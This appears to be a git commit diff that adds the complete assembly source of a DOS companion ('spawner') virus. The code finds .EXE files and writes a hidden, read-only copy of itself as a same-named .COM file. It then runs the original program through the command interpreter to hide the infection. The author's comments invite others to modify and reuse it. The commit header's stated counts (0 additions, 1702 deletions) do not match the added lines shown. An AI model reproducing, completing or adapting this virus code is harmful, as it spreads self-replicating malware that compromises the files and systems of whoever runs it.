mov fix

2026-06-15 15:29:23 +00:00 · 2022-08-21 04:17:12 -05:00
parent 62ca392943
commit 2c18b9a798
13 changed files with 0 additions and 1702 deletions
@@ -0,0 +1,174 @@
+;NON-RESIDENT SPAWNER
+
+; I threw this thing together in less than an hour and haven't looked
+; at it since so yes, I know it needs real work. Mangle and change as
+; you please. The original goal was to create the smallest spawner but
+; I got bored with the whole thing. Some of the code was taken from
+; the source code to Directory Magic by pcmag. Have phun....
+
+
+
+
+
+CSEG		SEGMENT
+		ASSUME	CS:CSEG,DS:NOTHING
+
+		ORG	100H	;Beginning for .COM programs
+
+START:	JMP MY_BEGIN	;Initialization code is at end
+
+
+wild            DB  "*.EXE",0
+file_Ext        DB  "COM",0
+file_found      DB  12 DUP(' '), 0
+file_create     DB  12 DUP(' '), 0
+search_attrib   DW  17H
+num_infect      dw  0
+
+my_cmd:
+Cmd_len         db  13
+file_clone      db  12 DUP (' '), 0
+
+		ASSUME	CS:CSEG, DS:CSEG, ES:NOTHING
+
+;------------------------------------------------------------------;
+Prepare_command:
+	       cld
+	       mov    di,OFFSET file_clone
+	       mov    al,0
+	       mov    cx,12
+	       repne scasb          ; find the end of string \0
+
+	       mov    al,0Dh        ; <CR>
+	       stosb                ; replace \0 with a <CR>
+
+	       mov    ax,12         ;store length of the command
+	       sub    ax,cx
+	       mov    cmd_len, al
+	       ret
+
+;------------------------------------------------------------------;
+Store_name:
+
+	       MOV    DI,OFFSET file_found   ;Point to buffer.
+	       MOV    SI,158
+	       MOV    CX,12
+	       REP MOVSB
+
+	       MOV    DI,OFFSET file_create  ;Point to buffer.
+	       MOV    SI,158
+	       MOV    CX,12
+	       REP MOVSB
+
+	       cld
+	       mov    di,OFFSET file_create
+	       mov    al,'.'
+	       mov    cx,9
+	       repne scasb                   ;find the '.'
+
+	       mov    si,OFFSET file_ext
+	       mov    cx,3
+	       rep movsb                     ;replace the .EXE with .COM
+
+	       ret
+
+
+;------------------------------------------------------------------;
+;Does the file exist?
+
+Check_file:
+	       mov    dx,OFFSET file_create
+	       mov    cx,0
+	       mov    ax,3d00h        ; Open file read only
+	       int    21h
+
+Chk_done:
+	       ret
+
+;------------------------------------------------------------------;
+Infect_file:
+;Create file
+	       mov    dx,OFFSET file_create
+	       mov    cx,0
+	       mov    ah,3ch
+	       int    21h
+	       jc     EXIT
+
+;Write to file
+	       mov    bx,ax
+	       mov    cx,(OFFSET END_OF_CODE - OFFSET START)
+	       mov    dx,OFFSET START
+	       mov    ah,40h
+	       int    21h
+
+;Close file
+	       mov    ah,3eh    ; ASSUMES bx still has file handle
+	       int    21h
+
+;Change attributes
+	       mov    dx,OFFSET file_create
+	       mov    cx,3          ;(1) read only, (2) hidden, (4) system
+	       mov    ax,4301h
+	       int    21h
+
+	       ret
+
+;------------------------------------------------------------------;
+; Read all the directory filenames and store as records in buffer. ;
+;------------------------------------------------------------------;
+
+MY_BEGIN:
+               mov    sp,offset STACK_HERE      ;move stack down
+               mov    bx,sp
+               add    bx,15
+               mov    cl,4
+               shr    bx,cl
+               mov    ah,4ah                  ;deallocate rest of memory
+               int    21h
+
+               MOV    DI,OFFSET file_clone ;Point to buffer.
+	       MOV    SI,OFFSET file_found
+	       MOV    CX,12
+	       REP MOVSB
+
+READ_DIR:      MOV    DX,OFFSET wild
+	       MOV    CX,search_attrib
+
+	       MOV    AH,4EH     ; This finds the first matching file.
+	       INT    21H
+
+	       JC     EXIT                   ;If empty directory, exit.
+
+Do_file:
+	       call   Store_name
+
+	       call   Check_file
+	       jnc    seek_another  ; CF = 0, shadow already there... skip it
+
+	       call   Infect_file
+	       jmp    Exit
+
+seek_another:
+
+find_next:
+	       mov   ah,4fh
+	       int   21h
+	       jmp   Do_file
+
+EXIT:
+
+;Run the original program
+	       call   Prepare_command
+	       mov    si, OFFSET my_cmd
+	       int    2Eh                 ;Pass command to command
+					  ; interpreter for execution
+;Exit to DOS
+	       MOV    AX,4C00H
+	       INT    21H
+
+END_OF_CODE	=	$
+
+STACK_HERE	EQU   END_OF_CODE + 512
+
+CSEG		ENDS
+		END	START